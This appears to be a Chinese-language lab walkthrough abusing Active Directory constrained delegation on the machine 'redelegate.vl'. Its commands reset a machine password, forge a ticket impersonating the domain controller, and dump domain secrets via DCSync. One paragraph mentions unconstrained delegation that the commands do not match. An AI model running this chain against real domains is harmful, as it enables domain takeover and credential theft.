配置了约束委派的计算机将能够在另一台计算机上模拟任何用户。要配置此功能,需要修改对象的 userAccountControl 属性,使其包含 TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
标志(需要 SeEnableDelegationPrivilege
权限),并将 msDS-AllowedToDelegateTo
属性设置为我们想要以任何用户身份进行身份验证的目标 spn。
我们需要一个机器帐户,为其配置无约束委派,然后强制域控制器向该机器进行身份验证。这需要能够添加机器帐户以及 DNS 条目(为了进行强制操作 - Kerberos 使用名称而不是 IP 地址)
#配置
Set-ADComputer -Identity FS01 -Add @{'msDS-AllowedToDelegateTo'=@('ldap/dc.redelegate.vl')}
Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True
#验证
Get-ADComputer FS01 -Properties msDS-AllowedToDelegateTo | Select-Object Name, msDS-AllowedToDelegateTo
#修改机器密码
bloodyAD --host 10.129.130.206 -d redelegate.vl -u 'HELEN.FROST' -p 'Admin123' set password 'FS01$' Admin123
#请求ST
impacket-getST 'redelegate.vl/FS01$:Admin123' -spn ldap/dc.redelegate.vl -impersonate DC
#DCSync
impacket-secretsdump -dc-ip 10.129.130.206 -k -no-pass DC.redelegate.vl